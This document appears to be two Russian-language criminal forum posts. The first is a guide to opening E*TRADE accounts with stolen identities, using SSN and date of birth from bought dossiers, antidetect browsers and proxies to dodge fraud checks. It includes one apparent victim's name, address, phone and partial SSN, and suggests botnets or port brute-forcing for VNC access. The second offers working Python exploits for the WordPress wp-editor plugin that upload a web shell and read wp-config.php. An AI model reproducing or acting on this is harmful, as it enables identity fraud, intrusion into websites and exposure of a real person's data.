размер жесткого диска не менее 250 гигабайт - перед установкой на виртуалку системы необъодимо загрузить необходимое программное обеспечение (plinker,BitVise,proxyfier и т.д) , после чего настроить все под себя и сделать чистый слепок системы. Теперь хотелось бы вам рассказать о интересной конторе, с которой в данное время активно идёт работа. Суть - приём и отправление переводов на банковские счета: https://us.etrade.com Давайте подробнее рассмотрим данную контору - на что чекает, и с чем её едят. Но для начала давайте регнемся, и я проведу для вас интересный обзор, и, возможно, кому-то дам пищу для размышлений. Переходим по линку, нажимаем Open Account, начинаем заполнять формы, которых, к сожалению, тут более чем достаточно. Рекомендую взять под это дело фулку, пробитую на кредитную историю - так как антифрод у конторы, как бы это прискорбно не звучало, более чем присутствует. Кроме того, это гораздо удобнее, ведь не нужно ничего выдумывать и брать инфу с неба, дабы акки не лочились, и труды не были напрасны: Заполняем стандартную инфу по фулке : Далее, SSN+DOB вводим той самой заветной фулки, которую можно взять в халяве на нашей площадке, а также прочие вопросы: ”семейное положение","годовой доход”. На данном этапе необходимо при себе иметь гугл транслит, либо внушительные навыки Английского. Переходим к следующему этапу -“ Папиросы,Допросы,Ответы на вопросы)’: Введенную информацию в итоге можно отредактировать, а выглядеть она будет подобным образом: Review your applicationThis information will be used to create your account. Your personal information Name Dr. KEITH MERRITT Business phone 813-749-0270 Email address crazymen@tutanota.com Primary residential address 8531 TIDAL BAY ZIP code 33635 City TAMPA State Florida Country United States My mailing address is different from my residential address No Primary account holder identity verification Date of birth 05/12/1969 Social Security number or ITIN XXX-XX-9897 Marital status Married Number of dependents 1 Occupation Administrative Employer name John Employer address 924 w palmer ZIP code 90220 City COMPTON State California Country United States Annual income (combined if joint account) $0-$14,999 Liquid net worth $0-$14,999 Total net worth $0-$24,999 I am (or an immediate family member who resides in the same household is) employed by or a member of a registered broker-dealer, securities or futures exchange, futures commission merchant, retail foreign exchange dealer, or securities or futures industry regulatory body (e.g., FINRA, NFA) No I am a director or policymaker of a publicly owned company. No I am a 10% shareholder of a publicly owned company. No I have been notified by the IRS that I am subject to backup withholding. No Primary account holder investment profile Investment experience Good Investment objective Income Assets to fund account Income From Earnings Primary account use Long term investment- occasional transfer for expenses Options investment experience Limited Prior options trading experience Covered writing, Spreads Stock 1 Years, 0-9 Options 1 Years, 0-9 Futures 1 Years, 0-9 Bonds 1 Years, 0-9 Account setup Uninvested cash program Cash Balance Program Add margin trading No Add futures trading No I would like to grant trading authority over this account to another individual No Free E*TRADE debit card No Free E*TRADE checkbook No Жмякаем континум, и принимаем условия с формой, устанавливая на следующей странице логин с паролем: Ура ,Регистрация прошла успешно, и нам выдали наш аккаунт намбер, на который мы можем перечислять деньги с любого юс банка, после чего, переводить, соответственно, куда вам уже надумается. Далее, например, можем пройти верификацию в палке ) - отлично подходит данное решение, в том числе и для того, чтобы сделать соответственно депозит на раскачанный аккаунт. В общем, Друзья, пищу для размышления вы получили - ДЕЙСТВУЙТЕ! Теперь я хочу поговорить с вами о подводных камнях( Ну, на скрине вы видите именно их результаты: К сожалению, как я и говорил выше, какой-никакой антифрод присутствует, и зайдя в старый акк с обычной виртуалки и браузера вы имеете шанс увидеть, что акк залочен. Такие локи стали активными после того, как на той самой виртуалке с мозиллой были созданы пару акков, и успешно залиты, но не до конца отработаны, как хотелось бы. Но наша профа заключается в решении вопросов и нахождения ответов на них, и я хочу сказать вам, что данное решение я нашёл в Антидетект Браузере от https://ls.tenebris.cc/ . После выпитых мною множества чашек кофе и постоянных ежедневных раздумий я отписал сапу данного проекта https://ls.tenebris.cc/ , и попросил 3-х дневный тест, результаты которого превзошли все ожидания - ни одного локнутого акка, включая факт использования обычных чистых туннелей ! Результат был налицо - этот продукт решил мои проблемы, и сейчас я не заморачиваюсь с поисками ответов, приобрел лицензию с доступом к конфигшопу и просто работаю, получая удовольствие. В общем, искренне рекомендую! В следующей статье я планирую рассказать, как определить, на что чекает шоп в плане детектов, которые были написаны выше. Думаю, что сегодня получился неплохой обзор подмен популярных детектов контор -гигантов. Мною лично были испробованы многие решения, в том числе не обошлось и без дедиков, с которыми тоже не всегда получается пробиться, особенно с серверных. Изучив и прочитав много мануалов и погуглив тему, я пришел к выводу, что основная проблема не только в их грязноте, но и в том, что их пингуют на порты и webgl, тем самым детектят. Думаю, также одним из лучших решений в этом плане является vnc, но чтобы достать подобное у нас есть 3 решения :свой ботнет , брут порта 4899. т.к. найти селлера сложновато и цены кусаются (от 15$ без гарантий продолжительности жизни). Тем более, проблема найти машину под штат, да и это не всегда дает положительный результат. © half1k
  15. Давно чот не палил приватных приватов. Будем исправлять... Илитным отрядом красных боевых медведов был написан набыдлокоден (уже больше года назад) зироди говно-сплоет. Похеканный плогин: https://wordpress.org/plugins/wp-editor/ Версия: 1.2.5.3 Активных инсталлов: 100,000+ Эксплоент: Code: #!/usr/bin/python#coding: utf-8"""Exploit Title: Wordpress Plugin, Wp-Editor, Shell UploadDate: 13/01/2015Exploit Author: RedBear (krober.biz)Software Link: https://wordpress.org/plugins/wp-editor/Version:'>https://wordpress.org/plugins/wp-editor/Version: 1.2.5.3Tested on: Apache, Wordpress 4.5 Vuln. Code: file: ./wp-editor/classes/WPEditorBrowser.php line: 228, function uploadThemeFiles() line: 290, function uploadPluginFiles()""" import requestsimport sys if sys.version_info[0]==2: _input = raw_inputelse: _input = input domain = "www.example.com"username = "hacker"password = "31337"file = "wso2.php"kiddie = Trueuseragent = "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0" #for tests in burp suiteproxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080",} if domain == "": print("Type domain:") domain = _input(">>").strip()if username == "": print("Type username:") username = _input(">>").strip()if kiddie: exit()if password == "": print("Type password:") password = _input(">>").strip()if file == "": print("Type filename to upload:") password = _input(">>").strip() url_login = "http://"+domain+"/wp-login.php"url_admin_ajax = "http://"+domain+"/wp-admin/admin-ajax.php" ######### STEP 1########session = requests.Session()paramsPost = { "log":username,"testcookie":"1", "rememberme":"forever", "pwd":password, "redirect_to":"http://"+domain+"/wp-admin/" }headers = { "Accept":"text/html", "User-Agent":useragent, "Referer":"http://"+domain+"/wp-login.php", "Connection":"keep-alive", "Content-Type":"application/x-www-form-urlencoded" }r1 = session.post(url_login, data=paramsPost, headers=headers, proxies=proxies)print("Logged in...") ######### STEP 2######### Upload shell method 1# current_plugin_rootparamsPost = { "current_plugin_root":".", "action":"upload_files", "directory":"" }paramsMultipart = [('file-0', (file, open(file,'rb'), 'application/octet-stream'))]headers = { "User-Agent":useragent, "Accept":"application/json" }r2 = session.post(url_admin_ajax, data=paramsPost, files=paramsMultipart, headers=headers, cookies=r1.cookies, proxies=proxies)print("Try to upload shell...") ######### STEP 3########r3 = session.get("http://"+domain+"/wp-admin/"+file, proxies=proxies)#Проверка не очень, сами допишите, под свой шеллif r3.status_code == 200: print("Shell uploaded: "+ "http://"+domain+"/wp-admin/"+file)else: print("Exploit failed...") # Upload shell method 2# Replace: "current_plugin_root" -> "current_theme_root" Если зведы сойдутся, шелл будет лежать в папочке /wp-admin/. Ну и перед тем как запускать, положите в папочку с запускаемым скриптом wso2.php. К слову, там есть и читалка файлов, если залить шелл не получается: Code: #!/usr/bin/python#-*- coding: utf-8 -*-"""Exploit Title: Wordpress Plugin, Wp-Editor, File ReaderDate: 13/01/2015Exploit Author: RedBear (krober.biz)Software Link: https://wordpress.org/plugins/wp-editor/Version: 1.2.5.3Tested on: Apache, Wordpress 4.5 Vuln. Code: file: ./wp-editor/classes/WPEditorBrowser.php function getFilesAndFolders()""" #Proof of Concept - read wp-config.phpimport requestsimport sys if sys.version_info[0]==2: _input = raw_inputelse: _input = input domain = "www.example.com"username = "hacker"password = "31337"useragent = "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0" if domain == "": print("Type domain:") domain = _input(">>").strip()if username == "": print("Type username:") username = _input(">>").strip()if password == "": print("Type password:") password = _input(">>").strip() url_login = "http://"+domain+"/wp-login.php"url_admin_ajax = "http://"+domain+"/wp-admin/admin-ajax.php"session = requests.Session() ######### STEP 1########paramsPost = { "log":username,"testcookie":"1", "rememberme":"forever", "pwd":password, "redirect_to":"http://"+domain+"/wp-admin/" }headers = { "Accept":"text/html", "User-Agent":useragent, "Referer":"http://"+domain+"/wp-login.php", "Connection":"keep-alive", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" }r1 = session.post(url_login, data=paramsPost, headers=headers)print("Logged in...") ######### STEP 2########paramsPost = {"action":"ajax_folders","dir":"./../wp-config.php","type":"theme","contents":"1"}headers = { "Accept":"application/json, text/javascript, */*; q=0.01", "X-Requested-With":"XMLHttpRequest", "User-Agent":useragent, "Referer":"http://"+domain+"/wp-admin/plugins.php?page=wpeditor_plugin", "Connection":"keep-alive", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" }r2 = session.post("http://"+domain+"/wp-admin/admin-ajax.php", data=paramsPost, headers=headers, cookies=r1.cookies)jso = r2.json()print(jso['content']) Ах, да, совсем забыл. Для того, чтобы сплойт успешно отработал, нужен хотя бы самый галимый доступ (например, доступ подписчика). Ну вы понели... В общем, удачных похеков (и покаков), поцоны))) Update [16.05.2016]. [Advisory Timeline - Одвизори Тимелине] [декабрь 2015] Найдена бага, написан сплолент. [2015-2016] Едим спайс и курим дошики. [07.05.2016] Сплоит опубликован. [12.05.2016] Автор очухивается и пилит заплатку: [15.05.2016] Я узнаю, как Легион использует эту багу: Да, именно так, с Python переписали на php и запустили охулиард процессов. Горжусь вами, пацаны. © r00t